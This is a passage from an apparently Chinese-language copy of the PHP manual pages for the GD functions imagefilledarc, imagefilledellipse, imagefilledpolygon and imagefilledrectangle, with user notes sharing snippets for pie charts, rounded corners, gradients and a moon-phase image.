$background = imagecolorallocate($im, 226, 226, 226);

//Setting colors of elements
$randcolor[0] = imagecolorallocate($im, 255, 203, 3);
$randcolor[1] = imagecolorallocate($im, 220, 101, 29);
$randcolor[2] = imagecolorallocate($im, 189, 24, 51);
$randcolor[3] = imagecolorallocate($im, 214, 0, 127);
$randcolor[4] = imagecolorallocate($im, 98, 1, 96);
$randcolor[5] = imagecolorallocate($im, 0, 62, 136);
$randcolor[6] = imagecolorallocate($im, 0, 102, 179);
$randcolor[7] = imagecolorallocate($im, 0, 145, 195);
$randcolor[8] = imagecolorallocate($im, 0, 115, 106);
$randcolor[9] = imagecolorallocate($im, 178, 210, 52);
$randcolor[10] = imagecolorallocate($im, 137, 91, 74);
$randcolor[11] = imagecolorallocate($im, 82, 56, 47);

//Setting the darker alt color to the main color
$darkcolor[0] = imagecolorallocate($im, 205, 153, 0);
$darkcolor[1] = imagecolorallocate($im, 170, 51, 0);
$drakcolor[2] = imagecolorallocate($im, 139, 0, 1);
$darkcolor[3] = imagecolorallocate($im, 164, 0, 77);
$darkcolor[4] = imagecolorallocate($im, 48, 0, 46);
$darkcolor[5] = imagecolorallocate($im, 0, 12, 86);
$darkcolor[6] = imagecolorallocate($im, 0, 52, 129);
$darkcolor[7] = imagecolorallocate($im, 0, 95, 145);
$darkcolor[8] = imagecolorallocate($im, 0, 65, 56);
$darkcolor[9] = imagecolorallocate($im, 128, 160, 2);
$darkcolor[10] = imagecolorallocate($im, 87, 41, 24);
$darkcolor[11] = imagecolorallocate($im, 32, 6, 0);

//Getting the data from GET
/*
$i = 0;
while ($i <= 11) {
$data[$i] = $_GET[++$i];
}
*/
$data = array( 100, 200, 50, 40);    /* datos a mostrar ( menos de 12 valores ) */
$num_data = count ($data);

//Getting ready
$datasum = array_sum($data);
$anglesum[0] = 0;
$angle[0] = 0;
$i = 0;

//Se calcula el comienzo y final de la posicin de los ngulos de los elementos
while ($i < $num_data) {
   ++$i;
   $n = $i - 1;
   $part[$i] = $data[$n] / $datasum;
   $angle[$i] = floor($part[$i] * 360);
   $anglesum[$i] = array_sum($angle);
}

/*
//DEBUGGING - only for testing purposes
echo "<pre>";
print_r($part);
print_r($anglesum);
print_r($angle);
*/

// Variables posicion
$cx = 120;
$cy = 100;
$ancho = 100;
$largo = 2 * $ancho;  // relacin de aspecto
$grosor = 25;  // efecto 3D

// make the 3D effect
for ($g = $grosor; $g > 0; $g--) {
   $n = 0;
   while ($n < $num_data) {
           ++$n;
           $f = $n - 1;
           if ($angle[$n] != 0)
           imagefilledarc($im, $cx, $cy + $g, $largo, $ancho, $anglesum[$f], $anglesum[$n], $darkcolor[$f], IMG_ARC_PIE);
   }
}
//make the 2d data that sits above the 3deffect
$i = 0;
while ($i < $num_data) {
   ++$i;
   $n = $i - 1;
   if ($angle[$i] != 0) {
       imagefilledarc($im, $cx, $cy, $largo, $ancho, $anglesum[$n], $anglesum[$i], $randcolor[$n], IMG_ARC_PIE);
   }
}

// flush image
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
rich at dicksonlife dot com
24-Sep-2004 10:22
Even more efficiency:

The original code snippet and the following suggestions are inefficient in that they rely on the overlying php to fill vertically using loops rather than taking advantage of the underlying drawing routines. Also, this is done by repeatedly drawing filled partial elipses and circular calculations are typically expensive (PHP may use tables, I'm not sure) The original code could be rewritten as

<?php
// Add the bottom layer.
  imagefilledarc($image, 50, 60, 100, 50, 0, 45, $darknavy, IMG_ARC_PIE);
  imagefilledarc($image, 50, 60, 100, 50, 45, 75 , $darkgray, IMG_ARC_PIE);
  imagefilledarc($image, 50, 60, 100, 50, 75, 360 , $darkred, IMG_ARC_PIE);

//Now do the joining pieces.
//Note: Precompute cosines and sines for efficiency
  $c1=50*cos(45/180*M_PI);
  $s1=25*sin(45/180*M_PI);
  $c2=50*cos(75/180*M_PI);
  $s2=25*sin(75/180*M_PI);

  $area1=array(100,60,100,50,50+$c1,50+$s1,50+$c1,60+$s1);
  $area2=array(50+$c1,50+$s1,50+$c1,60+$s1,50+$c2,60+$s2,50+$c2,50+$s2);
//Note that piece 3 goes round the corner. So we are only interested in the leftmost extent. You would need to do this programatically. Also, you do not need to make vertical parts for any segments completely at the back of the pie (in fact, not filledarcs either)
  $area3=array(50+$c2,50+$s2,50+$c2,60+$s2,0,60,0,50);

  imagefilledpolygon($image, $area1 , 4 , $darknavy);
  imagefilledpolygon($image, $area2 , 4 , $darkgray);
  imagefilledpolygon($image, $area3 , 4 , $darkred);

  imagefilledarc($image, 50, 50, 100, 50, 0, 45, $navy, IMG_ARC_PIE);
  imagefilledarc($image, 50, 50, 100, 50, 45, 75 , $gray, IMG_ARC_PIE);
  imagefilledarc($image, 50, 50, 100, 50, 75, 360 , $red, IMG_ARC_PIE);
?>

Note that the polygons are perhaps slightly inefficient. If there was an imagefilledtriangle, this code would be simpler. Given how fundamental triangles are, perhaps for a future version?

Rich
micha _a.t_ psytrance _d.o.t_ info
09-Sep-2004 10:09
for nice colors and adapted shadows from amount of values i try:

<?php
function _errechne_gradzahlen( $werte ) {        /* calc degrees */
   foreach( $werte as $wert ) { $sum += $wert; }
   foreach( $werte as $wert ) { $gradzahlen[] = 360 * ( $wert / $sum ); }
   return $gradzahlen;
}

function _randomcol ( $im ) {
   return imagecolorallocate( $im, rand(100, 224), rand(100, 224), rand(128, 224) );
}

$values = array( 100, 200, 50, 100, 43, 32 );    /* the data to display ( real values ) */
$werte = _errechne_gradzahlen( $values );        /* degrees-array */
$width = 200;
$height = 200;
$half_width = floor( $width / 2 );
$half_height = floor($height / 2);

$im = ImageCreateTrueColor( $width, $height );

foreach( $werte as $key => $wert ) {
   /* get colors and shadows */
   $color = _randomcol( $im );
   $shadow = $color - 20000;                // or brighter shadows take 10000
   $colors[] = $color;
   $shadows[] = $shadow;
/* 3D effekt */
     for ($i = ($half_height + 10); $i > $half_height; $i--) {
       imagefilledarc(
                   $im,
                   $half_width,  $i,
                   $width, $half_height,
                   $offset, ($offset + $wert),  // from, to (degrees)
                   $shadows[$key], IMG_ARC_NOFILL);
   }
   $offset = $offset + $wert;
}
$offset = 0;

foreach( $werte as $key => $wert ) {            /* an now draw the top */
   imagefilledarc(
               $im,
               $half_width, $half_width,
               $width, $half_height,          // half sized
               $offset, ($offset + $wert),
               $colors[$key], IMG_ARC_PIE);
   $offset = $offset + $wert;
}
header( "Content-type: image/png" );
imagepng ( $im );
imagedestroy( $im );
?>

sry for my crab english and the disordered code, i cut and 'translate' it from a class i wrote before.
poopie
06-Aug-2004 12:08
The examples given so far for drawing a 3D looking pie chart are extremely inefficient and can give a huge performance hit to scripts that draw a lot of pies and in particular those that do offline processing on disk, rather than send a single pie chart to the browser (either way this modification saves you a lot of CPU cycles).

Modify the portion of the code that creates the 3D effect to only draw the outline (with IMG_ARC_NOFILL) of the pie layers below the top filled pie:

// make the 3D effect (modified for the original example)
for ($i = 60; $i >= 50; $i--) {
   imagefilledarc($image, 50, $i, 100, 50, 0, 45, $darknavy, IMG_ARC_NOFILL);
  imagefilledarc($image, 50, $i, 100, 50, 45, 75 , $darkgray, IMG_ARC_NOFILL);
  imagefilledarc($image, 50, $i, 100, 50, 75, 360 , $darkred, IMG_ARC_NOFILL);
}

Note the >= on the for loop, which fills in a gap that is created without the =
hans at lintoo dot dk
18-Jul-2004 03:14
I found some bugs in my script.. and therefore I am posting the fixes:
Bugs:
<?php
$drakcolor[2] = imagecolorallocate($im, 139, 0, 1);
//Should be
$darkcolor[2] = imagecolorallocate($im, 139, 0, 1);
?>

And then if you modify the code a little and, then make a image 200x125 then you won't be wasting space.
Changes:
<?php
$im  = imagecreate (200, 125);
// AND
for ($i = 60; $i > 50; $i--) {
   imagefilledarc($im, 100, $i, 200, 100, $anglesum[$f], $anglesum[$n], $darkcolor[$f], IMG_ARC_PIE);
}
// AND
       imagefilledarc($im, 100, 50, 200, 100, $anglesum[$n], $anglesum[$i], $randcolor[$n], IMG_ARC_PIE);
?>
you can see a online demo at: http://webstatistik.lintoo.dk/
hans at lintoo dot dk
17-Jul-2004 06:27
I modificed the code to make a 3d pie from data collected elsewhere.... in this case it was for a statistics page...

when testing you can use:

enjoy

<?php
//Making a image 200 x 200
$im  = imagecreate (200, 200);

//Setting background color
$background = imagecolorallocate($im, 226, 226, 226);

//Setting colors of elements
$randcolor[0] = imagecolorallocate($im, 255, 203, 3);
$randcolor[1] = imagecolorallocate($im, 220, 101, 29);
$randcolor[2] = imagecolorallocate($im, 189, 24, 51);
$randcolor[3] = imagecolorallocate($im, 214, 0, 127);
$randcolor[4] = imagecolorallocate($im, 98, 1, 96);
$randcolor[5] = imagecolorallocate($im, 0, 62, 136);
$randcolor[6] = imagecolorallocate($im, 0, 102, 179);
$randcolor[7] = imagecolorallocate($im, 0, 145, 195);
$randcolor[8] = imagecolorallocate($im, 0, 115, 106);
$randcolor[9] = imagecolorallocate($im, 178, 210, 52);
$randcolor[10] = imagecolorallocate($im, 137, 91, 74);
$randcolor[11] = imagecolorallocate($im, 82, 56, 47);

//Setting the darker alt color to the main color
$darkcolor[0] = imagecolorallocate($im, 205, 153, 0);
$darkcolor[1] = imagecolorallocate($im, 170, 51, 0);
$drakcolor[2] = imagecolorallocate($im, 139, 0, 1);
$darkcolor[3] = imagecolorallocate($im, 164, 0, 77);
$darkcolor[4] = imagecolorallocate($im, 48, 0, 46);
$darkcolor[5] = imagecolorallocate($im, 0, 12, 86);
$darkcolor[6] = imagecolorallocate($im, 0, 52, 129);
$darkcolor[7] = imagecolorallocate($im, 0, 95, 145);
$darkcolor[8] = imagecolorallocate($im, 0, 65, 56);
$darkcolor[9] = imagecolorallocate($im, 128, 160, 2);
$darkcolor[10] = imagecolorallocate($im, 87, 41, 24);
$darkcolor[11] = imagecolorallocate($im, 32, 6, 0);

//Getting the data from GET
$i = 0;
while ($i <= 11) {
$data[$i] = $_GET[++$i];
}

//Getting ready
$datasum = array_sum($data);
$anglesum[0] = 0;
$angle[0] = 0;
$i = 0;

//Calc the start and end angle position of the elements
while ($i <= 11) {
   ++$i;
   $n = $i - 1;
   $part[$i] = $data[$n] / $datasum;
   $angle[$i] = floor($part[$i] * 360);
   $anglesum[$i] = array_sum($angle);
}

/*
//DEBUGGING - only for testing purposes
echo "<pre>";
print_r($part);
print_r($anglesum);
print_r($angle);
*/

// make the 3D effect
$n = 0;$i=0;
while ($n <= 11) {
   ++$n;
   $f = $n - 1;
   if ($angle[$n] != 0) {
       for ($i = 110; $i > 100; $i--) {
           imagefilledarc($im, 100, $i, 200, 100, $anglesum[$f], $anglesum[$n], $darkcolor[$f], IMG_ARC_PIE);
       }
   }
}

//make the 2d data that sits above the 3deffect
$i = 0;
while ($i <= 11) {
   ++$i;
   $n = $i - 1;
   if ($angle[$i] != 0) {
       imagefilledarc($im, 100, 100, 200, 100, $anglesum[$n], $anglesum[$i], $randcolor[$n], IMG_ARC_PIE);
   }
}

// flush image
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
caist - www.caist.com
08-Jan-2004 12:11
if you want to place a text onto the edge of a circle you need to
get a point on the circle:

$pos_x=$radius*sin(deg2rad($angle));
$pos_y=sqrt($radius*$radius-$pos_x*$pos_x);

if you want the point to be in the middle of a pie piece
you need a starting and ending angle

$pos_x=$radius*sin(deg2rad($angle_end-($angle_start)/2));
$pos_y=sqrt($radius*$radius-$pos_x*$pos_x);

hope it helps
jphb at scit dot wlv dot ac dot uk
10-Jul-2003 01:19
Note that whereas imagefilledarc() measures angles from
3 o'clock clockwise, imagettftext() measures angles from
3 o'clock anticlockwise so if you're, for example, trying to
annotate a pie chart it can get a bit confusing.
jcoder at insightbb dot com
05-Oct-2002 10:29
/*
From a set of numbers from a query return and an
array of colors this will generate a pie chart
*/

$a=array();
while($d=mysql_fetch_array($start_angle_query))
     {
     $a[]=$d[0];
     }

$b=array();
$b =$a;

/* make two arrays one for start of angle 2nd
for end of angle
*/
$sum=array_sum($a);
$degree_adjuster=360/$sum;
//constant for circle
array_unshift($a,0 );
// add 0 for start angle
$start_angle=array();
// new array to hold values for start vector
$end_angle=array();
//new array to hold values for end vector
array_pop($a);
//trim one array for start so numbers don't end on 360
while($a) //iterate till array is empty
{
array_push($start_angle,(end($start_angle)+ $a[0]));

/*enter numbers in array $start_angle adding the last number in
array and adding the first number from modified original array*/

array_shift($a);//delete first value of array
}
while($b)
{
array_push($end_angle,(end($end_angle)+$b[0]));
array_shift($b);
}
for($i=0;$i<$angle_num_rows;$i++)
{
imagefilledarc($pie,130,149,260,260,
($start_angle[$i]*$degree_adjuster),$end_angle[$i]*$degree_adjuster,
$colors[$i],IMG_ARC_FILL);
}
add a note add a note

后退 | 起点 | 前进
imagefill | 上一级 | imagefilledellipse


imagefilledellipse

(PHP 4 >= 4.0.6, PHP 5)

imagefilledellipse -- 画一椭圆并填充

说明

bool imagefilledellipse ( resource image, int cx, int cy, int w, int h, int color )

imagefilledellipse() 在 image 所代表的图像中以 cx，cy（图像左上角为 0, 0）为中心画一个椭圆。w 和 h 分别指定了椭圆的宽和高。椭圆用 color 颜色填充。如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. imagefilledellipse() 例子

<?php

// create a blank image
$image = imagecreatetruecolor(400, 300);

// fill the background color
$bg = imagecolorallocate($image, 0, 0, 0);

// choose a color for the ellipse
$col_ellipse = imagecolorallocate($image, 255, 255, 255);

// draw the white ellipse
imagefilledellipse($image, 200, 150, 300, 200, $col_ellipse);

// output the picture
header("Content-type: image/png");
imagepng($image);

?>

注: 本函数需要 GD 2.0.1 或更高版本。

参见 imageellipse() 和 imagefilledarc()。

add a note add a note User Contributed Notes
jbr at ya-right dot com
23-Feb-2006 11:33
This is a niffty function that you can use to make transparent ellipse/round type cutouts of any PNG or GIF image. The hard part is finding what color to use for the cutout layer and then the transparent layer, because you don't want to set the transparent index to a color being used in the image. After that it's as simple as layering the two images together.

what you need for the example...

a image of the size you want the cutout to be, gif or png (true color /256) can be used!

<?

$original_image = './image.png';
$output_image = './new.png';
$temp_image = './temp'; // path and name (don't include the extension)
$is_true_color = true;

$ext = substr ( $original_image, strrpos ( $original_image, '.' ) );
$temp_image .= $ext;
$new = image_get ( $ext, $original_image );
$width = imagesx ( $new );
$height = imagesy ( $new );

// we need to create temp reduced image so we can get the colors
// in a high bit true color image (png 16,24 bit only)

if ( $is_true_color )
{
   imagetruecolortopalette ( $new, false, 256 );
   image_make ( $new, $ext, $temp_image );
   imagedestroy ( $new );
   $colors = get_rgb ( $temp_image, $ext );
   @unlink ( $temp_image );
   $new = image_get ( $ext, $original_image );
}
else
{
   $colors = get_rgb ( $original_image, $ext );
}

// this creates the cutout layer (2 colors, both will become transparent)

$old = imagecreate ( $width, $height );
imageantialias( $old, true );
imagecolorallocate ( $old, $colors[0]['red'], $colors[0]['green'], $colors[0]['blue'] );
$bg = imagecolorallocate ( $old, $colors[1]['red'], $colors[1]['green'], $colors[1]['blue'] );
imagefilledellipse ( $old, floor ( $width / 2 ), floor ( $height / 2 ), $width, $height, $bg );
imagecolortransparent ( $old, $bg );
imagecopy ( $new, $old, 0, 0, 0, 0, $width, $height );
image_make ( $new, $ext, $output_image );
imagedestroy ( $old );
imagedestroy ( $new );

// this layers both images together, making a nice ellipse/round transparent image cutout

$old = imagecreate ( $width, $height );
$new = image_get ( $ext, $output_image );
$tbg = imagecolorallocate ( $old, $colors[0]['red'], $colors[0]['green'], $colors[0]['blue'] );
imagecopy ( $old, $new, 0, 0, 0, 0, $width, $height );
imagecolortransparent ( $old, $tbg );
image_make ( $old, $ext, $output_image );
imagedestroy ( $old );
imagedestroy ( $new );

/*
* shortcut functions (1,2)
*/

// returns the called image resource

function image_get ( $ext, $name )
{
   switch ( $ext )
   {
       case '.gif' :
       return ( imagecreatefromgif ( $name ) );
       break;
       case '.png' :
       return ( imagecreatefrompng ( $name ) );
       break;
   }
}

// outputs the image named passed to it

function image_make ( $io, $ext, $name )
{
   switch ( $ext )
   {
       case '.gif' :
       imagegif ( $io, $name );
       break;
       case '.png' :
       imagepng ( $io, $name );
       break;
   }
}

// get (2) colors not found in the current image

function get_rgb ( $image, $ext )
{
   $x = 0;
   $colors = array ();
   $img = image_get ( $ext, $image );

   for ( $color = 10; $color <= 250; $color++ )
   {
       if ( imagecolorexact ( $img, $color, $color, $color ) == -1 )
       {
           $colors[] = array ( 'red' => $color, 'green' => $color, 'blue' => $color );

           if ( $x == 1 )
           {
               imagedestroy ( $img );
               return ( $colors );
           }

           $x++;
       }
   }

   imagedestory ( $img );
   return ( $colors );
}

?>

You can try a demo here (SGML) capture a web page, then make multi cutouts example!

http://www.ya-right.com/
mark at freegeekchicago dot org
12-Oct-2005 01:12
Here is a simple script using imagefilledellipse to created rounded corners on the fly.  It takes color, bg_color, width, height, and placement (i.e. top left, bottom right) as arguments.

<?php
$color = $_REQUEST['color'];
$bg_color = $_REQUEST['bg_color'];

$c_width = $_REQUEST['width'];
$c_height = $_REQUEST['height'];

$placement = $_REQUEST['placement'];

$width = 2 * $c_width;
$height = 2 * $c_height;

// create a blank image
$image = imagecreatetruecolor($c_width, $c_height);

// fill the corner color
$col_ellipse = hex2int($image, $color);

// fill the background color

$bg = hex2int($image, $bg_color);

// fill the background color
imagefill($image, 0, 0, $bg);

// draw the ellipse
//takes (resource image, int cx, int cy, int w, int h, int color)

// bottom right corner
if ($placement == "br") {imagefilledellipse($image, 0, 0, $width, $height, $col_ellipse);}

// top right corner
if ($placement == "tl") {imagefilledellipse($image, $c_width, $c_height, $width, $height, $col_ellipse);}

// top left corner
if ($placement == "tr") {imagefilledellipse($image, 0, $c_height, $width, $height, $col_ellipse);}

// bottom left corner
if ($placement == "bl") {imagefilledellipse($image, $c_width, 0, $width, $height, $col_ellipse);}

// output the picture
header("Content-type: image/png");
imagepng($image);

function hex2int($image, $color) {
  $string = str_replace("#","",$color);
  $red = hexdec(substr($string,0,2));
  $green = hexdec(substr($string,2,2));
  $blue = hexdec(substr($string,4,2));

  $color_int = imagecolorallocate($image, $red, $green, $blue);
  return($color_int);
}
?>

You would call it like so:
<img src="round_test.php?
width=50&height=50&color=fffefe&bg_color=99e1e0&placement=tr">
richard at mf2fm dot co dot uk
09-Feb-2005 06:25
Here is a piece of code using imagefilledellipse which creates a simulation of the current phase of the moon...

Usage is <img src="moon.php?size=100"> which produces an image 100px by 100px wide.  If size is left out, the default is 24px by 24px.

<?php

$mps=2551442.8; // moon phase in seconds (29 days, 12 hours, 44 mins, 2.8 secs)
$position=time()-mktime(10, 32, 0, 1, 25, 2005); // seconds since full moon at 10:32GMT on 25 Jan 2005
$position=($position-$mps*intval($position/$mps))/$mps; // phase from 0 to 1

$position=2*(0.5-$position);
## revised to produce easier to work with...
## $position=1 - full moon
## $position=0 - new moon
## $position=-1 - full moon

$size=$_GET['size'];
if (!is_numeric($size)) $size=24; // width/height in pixels
$moon=imagecreate($size, $size);
$dark=imagecolorallocate($moon, 0, 34, 68); // background colour for moon
$light=imagecolorallocate($moon, 238, 238, 255); // foreground colour for moon
$corona=imagecolorallocatealpha($moon, 153, 153, 153, 64); // edge of moon (semi-transparent)

##
## Make transparent background
##
$background=imagecolorallocatealpha($moon, 0, 0, 0, 127);
imagefill($moon, 0, 0, $background);

##
## Make the moon!
##
imagefilledellipse($moon, round($size/2), round($size/2), $size, $size, $corona);
if ($position>-1/$size AND $position<1/$size) imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $dark); // new moon
elseif (abs($position)>1-1/$size) imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $light); // full moon
elseif ($position>0) {
   imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $light);
   for ($i=0; $i<$size-2; $i++) {
       $xpos=($size-2)/2;
       $xpos=1-($i/$xpos);
       $xpos=sqrt(1-($xpos*$xpos));
       $xpos=($size/2)+($position-0.5)*$xpos*($size-2);
       imagesetpixel($moon, round($xpos), $i+1, $dark);
   }
   for ($i=0; $i<$size; $i++) {
       $set=0;
       for ($j=0; $j<$size; $j++) {
           if (!$set AND imagecolorat($moon, $j, $i)==$dark) $set=1;
           elseif ($set AND imagecolorat($moon, $j, $i)==$light) imagesetpixel($moon, $j, $i, $dark);
       }
   }
}
else {
   imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $dark);
   for ($i=0; $i<$size-2; $i++) {
       $xpos=($size-2)/2;
       $xpos=1-($i/$xpos);
       $xpos=sqrt(1-($xpos*$xpos));
       $xpos=($size/2)+($position+0.5)*$xpos*($size-2);
       imagesetpixel($moon, round($xpos), $i+1, $light);
   }
   for ($i=0; $i<$size; $i++) {
       $set=0;
       for ($j=0; $j<$size; $j++) {
           if (!$set AND imagecolorat($moon, $j, $i)==$light) $set=1;
           elseif ($set AND imagecolorat($moon, $j, $i)==$dark) imagesetpixel($moon, $j, $i, $light);
       }
   }
}

##
## And output the picture
##
header ("Content-Type: image/png");
imagepng($moon);
imagedestroy($moon);
?>
dave at corecommunications dot us
11-Oct-2002 09:56
I needed to draw translucent circles on an existing image, using imagealphablending($image,true);. Turns out that imagefilledellipse seems to do the ellipse by drawing a series of lines from the centroid out to the circumference. Problem with this is that pixels near the center very visibly get drawn multiple times, producing a kind of moire effect. Also, the 0-degree (center to right) line is drawn twice and so is twice as dark the pixel below it.

My workaround was to draw the ellipse solid in a copy of the source image and do an imagecopymerge back into the original.
ivank at 2xtreme dot net
31-Mar-2002 08:31
Sometimes, you have x1, y1, x2, y2 parameters, but not the center, width, and height. Use this to draw a filled ellipse from your x1, y1, x2, and y2:

ImageFilledEllipse(
$im,
($x1 + round(($x2 - $x1) / 2)),
($y1 + round(($y2 - $y1) / 2)),
($x2 - $x1),
($y2 - $y1),
$color);
harry dot wood at ic dot ac dot uk
20-Jun-2001 07:09
This draws a rotated ellipse. If you don't want filled ellipses, then you don't need the triangle function.

function triangle($x1,$y1, $x2,$y2, $x3,$y3, $colour) {
   global $im;
   $coords = array($x1,$y1, $x2,$y2, $x3,$y3);
   imagefilledpolygon($im, $coords, 3, $colour);
}

function rotatedellipse($cx, $cy, $width, $height, $rotateangle, $colour, $filled=true) {
   global $im;
   $step=15;
   $cosangle=cos(deg2rad($rotateangle));
   $sinangle=sin(deg2rad($rotateangle));

   $squishratio = $height/$width;
   $nopreviouspoint = true;
   for ($angle=0; $angle<=(180+$step); $angle+=$step) {

     $ox = ($width * cos(deg2rad($angle)));
     $oy = ($width * sin(deg2rad($angle))) * $squishratio;

     $x = ($ox * $cosangle) - ($oy * $sinangle);
     $y = ($ox * $sinangle) + ($oy * $cosangle);

     if ($nopreviouspoint) {
       $px=$x;
       $py=$y;
       $nopreviouspoint=false;
     }

     if ($filled) {
         triangle($cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         triangle($cx, $cy, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
     } else {
         imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         imageline($im, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
     }
     $px=$x;
     $py=$y;
   }
}
add a note add a note

后退 | 起点 | 前进
imagefilledarc | 上一级 | imagefilledpolygon


imagefilledpolygon

(PHP 3, PHP 4, PHP 5)

imagefilledpolygon -- 画一多边形并填充

说明

bool imagefilledpolygon ( resource image, array points, int num_points, int color )

imagefilledpolygon() 在 image 图像中画一个填充了的多边形。

points 参数是一个按顺序包含有多边形各顶点的 x 和 y 坐标的数组。

num_points 参数是顶点的总数，必须大于 3。

例子 1. imagefilledpolygon() 例子

<?php
// 建立多边形各顶点坐标的数组
$values = array(
            40,  50,  // Point 1 (x, y)
            20,  240, // Point 2 (x, y)
            60,  60,  // Point 3 (x, y)
            240, 20,  // Point 4 (x, y)
            50,  40,  // Point 5 (x, y)
            10,  10   // Point 6 (x, y)
            );

// 创建图像
$image = imagecreatetruecolor(250, 250);

// 设定颜色
$bg   = imagecolorallocate($image, 200, 200, 200);
$blue = imagecolorallocate($image, 0, 0, 255);

// 画一个多边形
imagefilledpolygon($image, $values, 6, $blue);

// 输出图像
header('Content-type: image/png');
imagepng($image);
imagedestroy($image);
?>

add a note add a note User Contributed Notes
etnekor at tar dot hu
23-Jan-2006 05:18
There is a simple function to draw a filled point with a chosen radius and color.

<?php
function drawPoint($img, $radius, $origo_x, $origo_y, $pointColor)
{
  for ($i=0;$i<=360;$i++)
  {
   $pont[] = $origo_x + ($radius * sin(deg2rad($i)));
   $pont[] = $origo_y - ($radius * cos(deg2rad($i)));
  }
  reset($pont);
  ImageFilledPolygon ($img, $pont, (sizeof($pont)/2), $pointColor);
}
?>
add a note add a note

后退 | 起点 | 前进
imagefilledellipse | 上一级 | imagefilledrectangle


imagefilledrectangle

(PHP 3, PHP 4, PHP 5)

imagefilledrectangle -- 画一矩形并填充

说明

bool imagefilledrectangle ( resource image, int x1, int y1, int x2, int y2, int color )

imagefilledrectangle() 在 image 图像中画一个用 color 颜色填充了的矩形，其左上角坐标为 x1，y1，右下角坐标为 x2，y2。0, 0 是图像的最左上角。

add a note add a note User Contributed Notes
administrador(ensaimada)sphoera(punt)com
03-May-2006 06:33
I've made a function to make full color gradients:

<?php

// The image must be in truecolor mode!!
   function gradient_region($img, $x, $y, $width, $height,$src_color, $dest_color=0){
       $src_alpha = ($src_color) >> 24;
       $src_red = ($src_color & 0xFF0000) >> 16;
       $src_green = ($src_color & 0x00FF00) >> 8;
       $src_blue = ($src_color & 0x0000FF);

       $dest_alpha = ($dest_color) >> 24;
       $dest_red = ($dest_color & 0xFF0000) >> 16;
       $dest_green = ($dest_color & 0x00FF00) >> 8;
       $dest_blue = ($dest_color & 0x0000FF);

       $inc_alpha = ($dest_alpha - $src_alpha) / $width;
       $inc_red = ($dest_red - $src_red)/$width;
       $inc_green = ($dest_green - $src_green)/$width;
       $inc_blue = ($dest_blue - $src_blue)/$width;

       // If you need more performance, the step can be increased
       for ($i=0;$i<$width;$i++){
           $src_alpha += $inc_alpha;
           $src_blue += $inc_blue;
           $src_green += $inc_green;
           $src_red += $inc_red;
           imagefilledrectangle($img,
               $x+$i,$y,
               $x+$i,$y+$height,
               imagecolorallocatealpha($img,
               $src_red,$src_green,$src_blue,$src_alpha));
       }
   }
?>

More functions at http://www.sphoera.com
spam at junk dot dk
15-Apr-2006 06:42
A different kind of rating bar, using michal's rounded corners function :) I saw this type of rating bar somewhere and thought it looked cool, so the 'design' is a complete ripoff.

Also, note that it scales quite well, from tiny 3x3 pixel dots to huge 300x300 pixel blocks. (Man am I proud of this thing.. well, enjoy!)

/Scarpia

<?php

Header("Content-type: image/png");
drawRatingBlocks($rating);

function drawRatingBlocks($rating) {
   $rating = $_GET['rating'];
   $width = $_GET['width'];
   $height = $_GET['height'];
   $blocks = $_GET['blocks'];

   if ($width == 0) $width = 130;
   if ($height == 0) $height = 13;

   $spacing = max(1, floor($height/6) );

   if ($blocks == 0) $blocks = floor( $width / ($height-2 + $spacing) );

   $blockwidth = floor( $width / $blocks ) - $spacing;
   $short_side = min($height-2, $blockwidth);
   $blockvalue = 100 / $blocks;

   $image = ImageCreate($width,$height);
   $img2 = ImageCreate($width,$height);

   // Define base colors
   $back = ImageColorAllocate($image,255,255,255);
   $blur = ImageColorAllocate($image,230,223,188);
   $fill = ImageColorAllocate($image,188,182,133);
   $lightblur = ImageColorAllocate($image,238,235,216); // Would be nice to calculate these dynamically instead
   $lightfill = ImageColorAllocate($image,221,217,193); // Would be nice to calculate these dynamically instead
   ImagePaletteCopy($img2,$image);

   ImageFilledRectangle($image,0,0,$width-1,$height-1,$back);
   ImageFilledRectangle($img2,0,0,$width-1,$height-1,$back);

   if ($short_side < 25)
       $radius = 1;
   else if ($short_side < 40)
       $radius = 3;
   else if ($short_side < 50)
       $radius = 5;
   else
       $radius = floor($height/10);

   for($i=0;$i<$blocks;$i++) {
       $startX = ($blockwidth+$spacing)*$i + 1;
       if ((9 <= $short_side) && ($short_side <= 16))
       {
           ImageFilledRectangle($image, $startX, 1, $startX+$blockwidth-1, $height-2, $lightblur);
           ImageFilledRectangle($img2, $startX, 1, $startX+$blockwidth-1, $height-2, $lightfill);
       }
       ImageRectangleWithRoundedCorners($image, $startX, 1, $startX+$blockwidth-1, $height-2, $radius, $blur);
       ImageRectangleWithRoundedCorners($img2, $startX, 1, $startX+$blockwidth-1, $height-2, $radius, $fill);
   }

   $barwidth = ($rating/100)*$blocks*$blockwidth;
   $barwidth += floor($barwidth/$blockwidth)*$spacing+1;

   ImageCopy( $image, $img2, 0, 0, 0, 0, $barwidth, $height );
   ImageDestroy($img2);

   ImagePNG($image);
   ImageDestroy($image);
}

function ImageRectangleWithRoundedCorners(&$im, $x1, $y1, $x2, $y2, $radius, $color)
{
   // Draw rectangle without corners
   ImageFilledRectangle($im, $x1+$radius, $y1, $x2-$radius, $y2, $color);
   ImageFilledRectangle($im, $x1, $y1+$radius, $x2, $y2-$radius, $color);
   // Draw circled corners
   ImageFilledEllipse($im, $x1+$radius, $y1+$radius, $radius*2, $radius*2, $color);
   ImageFilledEllipse($im, $x2-$radius, $y1+$radius, $radius*2, $radius*2, $color);
   ImageFilledEllipse($im, $x1+$radius, $y2-$radius, $radius*2, $radius*2, $color);
   ImageFilledEllipse($im, $x2-$radius, $y2-$radius, $radius*2, $radius*2, $color);
}

?>
TMG
01-Feb-2006 10:18
you can also add the rating til to the image
me [a.t.] forestfactory [d.o.t.] de
13-Oct-2005 07:44
As of PHP 5, it seems to be no longer necessary to draw the rectangle from the upper left to the lower right corner. This led me into big trouble porting a script developed under PHP 5 to PHP 4.
michal dot kocarek at seznam dot cz
31-May-2004 04:18
If you want to draw a rectangle with rounded corners, you can use this simple function...
